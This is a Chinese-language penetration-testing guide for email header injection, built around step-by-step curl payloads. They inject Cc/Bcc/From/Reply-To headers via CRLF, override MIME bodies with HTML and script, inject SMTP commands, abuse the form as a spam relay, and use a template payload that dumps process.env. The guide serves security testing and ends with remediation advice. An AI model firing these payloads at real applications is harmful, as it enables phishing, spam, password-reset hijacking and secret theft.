testing-for-email-header-injection

电子邮件标头注入测试

何时使用

• 在测试联系表单、反馈表单或“推荐给朋友”功能时
• 在评估密码重置电子邮件功能期间
• 在测试新闻简报订阅或通知电子邮件系统时
• 在对基于用户输入发送电子邮件的应用进行渗透测试期间
• 在审计与电子邮件相关的 API 终端节点以检查标头注入时

先决条件

• 用于拦截和修改 HTTP 请求的 Burp Suite
• 了解 SMTP 协议和电子邮件标头结构
• 了解 CRLF 注入技术（\r\n 序列）
• 用于接收注入电子邮件的测试电子邮件账户
• 可访问会触发电子邮件发送的应用功能
• 可访问 SMTP 服务器日志以监控注入尝试

工作流

步骤 1 — 识别电子邮件注入点

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello&message=Test message"

步骤 2 — 测试 CRLF 标头注入

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ACc:[email protected]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[email protected]&[email protected]&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "[email protected]%0D%0ACc:[email protected]"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0ACc:[email protected]"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0DCc:[email protected]"

# Double encoding
curl -X POST http://target.com/contact \
  -d "[email protected]%250ACc:[email protected]"

步骤 3 — 注入自定义电子邮件内容

# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AFrom:[email protected]"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AReply-To:[email protected]"

步骤 4 — 测试 IMAP/SMTP 注入

# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "[email protected]%0ARCPT TO:[email protected]"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "[email protected]%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"

步骤 5 — 测试基于 JSON 的电子邮件 API

# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'

# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'

# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'

步骤 6 — 验证发现

# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies

# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers

# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC

# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)

关键概念

概念	描述
CRLF 注入	注入回车符和换行符以创建新的电子邮件标头
标头注入	向发出的电子邮件添加未经授权的标头（Cc、Bcc、From）
垃圾邮件中继	滥用电子邮件功能向任意收件人发送垃圾邮件
电子邮件欺骗	修改 From 或 Reply-To 标头以冒充受信任的发件人
MIME 操纵	注入 MIME 边界以覆盖电子邮件正文内容
SMTP 命令注入	通过未净化的电子邮件参数注入原始 SMTP 命令
换行字符	用于分隔电子邮件标头的 \r\n（CRLF）、\n（LF）、\r（CR）

工具与系统

工具	用途
Burp Suite	用于修改与电子邮件相关的表单提交的 HTTP 代理
swaks	用于 SMTP 测试和标头注入验证的瑞士军刀
OWASP ZAP	具有电子邮件注入检测功能的自动化扫描器
mailhog	用于捕获注入电子邮件的本地 SMTP 测试服务器
smtp4dev	用于监控电子邮件注入结果的开发 SMTP 服务器
Nuclei	带有电子邮件标头注入检测模板的模板扫描器

常见场景

1. 垃圾邮件中继 — 注入 BCC 标头，通过目标的 SMTP 服务器中继群发电子邮件，绕过信任发件人域的垃圾邮件过滤器
2. 通过联系表单进行网络钓鱼 — 修改 From 和 Reply-To 标头，发送看似源自目标组织的网络钓鱼电子邮件
3. 密码重置劫持 — 在密码重置流程中注入 CC 标头，以接收发送给受害者的重置令牌副本
4. 电子邮件内容覆盖 — 注入 MIME Content-Type 标头，用恶意的网络钓鱼内容替换合法电子邮件正文
5. 内部电子邮件滥用 — 使用标头注入向通常无法通过应用访问的内部地址发送电子邮件

输出格式

## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)

### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |

### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality